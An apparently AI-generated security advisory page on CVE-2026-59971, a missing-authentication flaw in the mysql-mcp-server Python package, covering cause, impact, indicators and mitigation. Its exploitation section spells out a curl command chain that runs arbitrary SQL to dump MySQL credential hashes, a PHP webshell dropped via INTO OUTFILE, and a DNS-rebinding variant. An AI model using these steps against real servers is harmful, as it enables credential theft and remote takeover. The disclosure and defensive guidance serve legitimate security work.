CVE-2026-59971
Python vulnerability analysis and mitigation

Overview

CVE-2026-59971 is a critical missing authentication and origin validation vulnerability in the mysql-mcp-server Python package (pip) that enables unauthenticated arbitrary SQL execution when the server is run in SSE/HTTP transport mode. It affects all versions prior to 0.4.2 of designcomputer/mysql_mcp_server. The vulnerability was discovered by researchers Huanchen, SongWu, and BrookeYangRui from Johns Hopkins University, first reported on June 17, 2026, and the advisory was published on June 21, 2026. It carries a CVSS v3.1 base score of 10.0 (Critical) (GitHub Advisory, Security Advisory).

Technical details

The root cause lies in src/mysql_mcp_server/server.py, where SseServerTransport is instantiated without passing security_settings, causing the MCP Python SDK's DNS-rebinding protection (enable_dns_rebinding_protection, which defaults to False) to remain disabled (CWE-346). Additionally, the Starlette application is configured with no CORS or TrustedHost middleware, all three routes (/, /sse, /messages/) are completely unauthenticated (CWE-306), and the service binds to 0.0.0.0 by default. The ultimate sink is cursor.execute(query) where query is fully attacker-controlled, enabling arbitrary SQL execution. Two exploitation paths exist: direct network access (no browser required) and DNS rebinding attacks against locally-bound instances (GitHub Issue #92, Security Advisory).

Impact

Successful exploitation allows unauthenticated attackers to execute arbitrary SQL against the configured MySQL database, enabling full data exfiltration and modification of all accessible database contents and credentials. If the MySQL account holds the FILE privilege, attackers can additionally perform arbitrary file reads via SELECT LOAD_FILE('/etc/passwd') and arbitrary file writes via SELECT ... INTO OUTFILE, potentially dropping a webshell for remote code execution. The advisory notes that most in-the-wild instances run as MySQL root, significantly amplifying the blast radius, and internet-wide scanning has already identified 25 publicly reachable SSE instances of this project (GitHub Advisory, GitHub Issue #92).

Exploitability

No authentication or special privileges are required to exploit this vulnerability when MCP_TRANSPORT=sse is set; the default stdio mode is not affected. A detailed proof-of-concept using standard curl commands was published in the GitHub issue report, demonstrating the full attack chain from SSE handshake to arbitrary SQL execution. Internet-wide scanning has confirmed at least 25 publicly reachable vulnerable instances. No CISA KEV listing or threat actor attribution has been reported at this time, and no EPSS score is currently available given the CVE's reserved status (GitHub Issue #92, GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Use internet scanning tools (e.g., Shodan, Censys) to identify hosts running mysql_mcp_server in SSE mode on port 8000 (default), or target known internal/local deployments for DNS rebinding.

  2. Establish SSE connection: Open a long-lived SSE connection to obtain the session_id:

curl -N http://TARGET:8000/sse
# Returns: event: endpoint\ndata: /messages/?session_id=<SESSION_ID>
  1. Initialize MCP session: Send the initialize JSON-RPC message using the obtained session_id:
curl -s -X POST "http://TARGET:8000/messages/?session_id=<SESSION_ID>" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}'
  1. Send initialized notification:
curl -s -X POST "http://TARGET:8000/messages/?session_id=<SESSION_ID>" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}'
  1. Execute arbitrary SQL: Invoke execute_sql with any desired query; results are returned over the SSE stream:
curl -s -X POST "http://TARGET:8000/messages/?session_id=<SESSION_ID>" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"execute_sql","arguments":{"query":"SELECT user,authentication_string FROM mysql.user"}}}'
  1. Escalate to RCE (if FILE privilege available): Drop a webshell via SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/s.php' to achieve remote code execution.

  2. DNS Rebinding (local bind variant): If the service is bound to 127.0.0.1, host a malicious page that uses EventSource to connect to an attacker-controlled domain with a short TTL, rebind the domain to 127.0.0.1, then execute the same JSON-RPC calls via the victim's browser as same-origin (GitHub Issue #92).

Indicators of compromise

  • Network: Unexpected inbound HTTP connections to port 8000 (or configured SSE port) from external or untrusted IP addresses; long-lived SSE connections (GET /sse) followed by rapid POST /messages/ requests; outbound connections from the database host to unknown external IPs (potential data exfiltration).
  • Logs: Uvicorn/application access logs showing GET /sse and POST /messages/?session_id= sequences from unexpected source IPs; SQL queries in MySQL general query log referencing mysql.user, LOAD_FILE, or INTO OUTFILE; queries selecting credential tables or writing to web-accessible directories.
  • File System: Unexpected PHP or script files (e.g., s.php, shell.php) appearing in web server document roots; new or modified files in /var/www/html/ or equivalent directories owned by the MySQL process user.
  • Process: MySQL process spawning unexpected child processes; web server processes executing system commands originating from newly created webshell files (GitHub Issue #92, GitHub Advisory).

Mitigation and workarounds

Upgrade mysql-mcp-server to version 0.4.2 immediately, which enables DNS-rebinding protection by passing TransportSecuritySettings(enable_dns_rebinding_protection=True) to SseServerTransport and validates Host/Origin headers against an allowlist defaulting to localhost:{port} and 127.0.0.1:{port}. Operators deploying behind a reverse proxy should set MCP_SSE_HOST=127.0.0.1 to restrict binding to localhost and configure allowed hosts via the MCP_SSE_ALLOWED_HOSTS environment variable. As an additional defense-in-depth measure, front the SSE service with an nginx reverse proxy that enforces authentication, and ensure the MySQL account used by the server does not hold the FILE privilege (v0.4.2 Release, Security Advisory).

Community reactions

The vulnerability was responsibly disclosed by researchers from Johns Hopkins University (Huanchen, SongWu, and BrookeYangRui) via GitHub issue #92 on June 17, 2026, and the maintainer published a security advisory and patch within days. The advisory notes that internet-wide scanning had already identified 25 publicly reachable vulnerable instances at the time of disclosure, underscoring the real-world exposure of this issue. The project has over 1,400 GitHub stars and 257 forks, indicating broad community adoption and heightened urgency for patching (GitHub Issue #92, GitHub Advisory).

Additional resources


SourceThis report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-59971CRITICAL10
  • Python logoPython
  • mysql-mcp-server
NoYesSep 11, 2026
CVE-2026-59177HIGH8.8
  • Python logoPython
  • esphome-device-builder
NoYesSep 09, 2026
CVE-2026-88006MEDIUM6.5
  • Python logoPython
  • open-webui
NoYesSep 10, 2026
CVE-2026-88005MEDIUM6.5
  • Python logoPython
  • open-webui
NoYesSep 10, 2026
CVE-2026-49836MEDIUM4.6
  • Python logoPython
  • psd-tools
NoYesSep 10, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management